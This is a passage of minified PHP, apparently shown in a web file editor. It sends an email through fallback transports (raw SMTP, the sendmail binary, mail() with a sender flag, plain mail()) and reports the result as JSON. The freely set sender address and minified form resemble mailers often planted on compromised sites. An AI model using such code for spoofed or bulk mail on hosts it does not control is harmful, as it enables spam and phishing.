FROM:<$from_email>");if($mailr===false||strpos($mailr,"250")!==0){@fclose($socket);break;}$rcpt=smtp_command($socket,"RCPT TO:<$to>");if($rcpt===false||strpos($rcpt,"250")!==0){@fclose($socket);break;}smtp_command($socket,"DATA");smtp_send_data($socket,"To:$header_to");smtp_send_data($socket,"Subject:$encoded_subject");foreach(explode($newline,$headers)as $hline){if(strlen(trim($hline))){smtp_send_data($socket,$hline);}}smtp_send_data($socket,"");foreach(explode($newline,$encoded_message)as $bodyLine){smtp_send_data($socket,$bodyLine);}$final=smtp_command($socket,".");@smtp_command($socket,"QUIT",false);@fclose($socket);if($final!==false&&strpos($final,"250")===0){$successes[]="SMTP{$t['host']}:{$t['port']}";$sent=true;}break;case 'sendmail':$spath=isset($t['path'])? $t['path']:null;if(sendViaSendmailBinary($to,$encoded_subject,$encoded_message,$headers,$from_email,$spath,$header_to)){$successes[]="sendmail binary";$sent=true;}break;case 'mail_flag':if(sendViaMailFlag($to,$encoded_subject,$encoded_message,$headers,$from_email,$header_to)){$successes[]="mail()with-f";$sent=true;}break;case 'mail':if(sendViaMailInternal($to,$encoded_subject,$encoded_message,$headers,$from_email,$header_to)){$successes[]="plain mail()";$sent=true;}break;}if($sent)break;}if(!empty($successes)){outputJson(array_merge($response_base,array("status"=>"success","methods"=>array_values(array_unique($successes)))));}else{@error_log(date('[Y-m-d H:i:s]'). "All transports failed for $to\n",3,$log_file);outputJson(array_merge($response_base,array("status"=>"fail","error"=>"All transports failed")));}
Save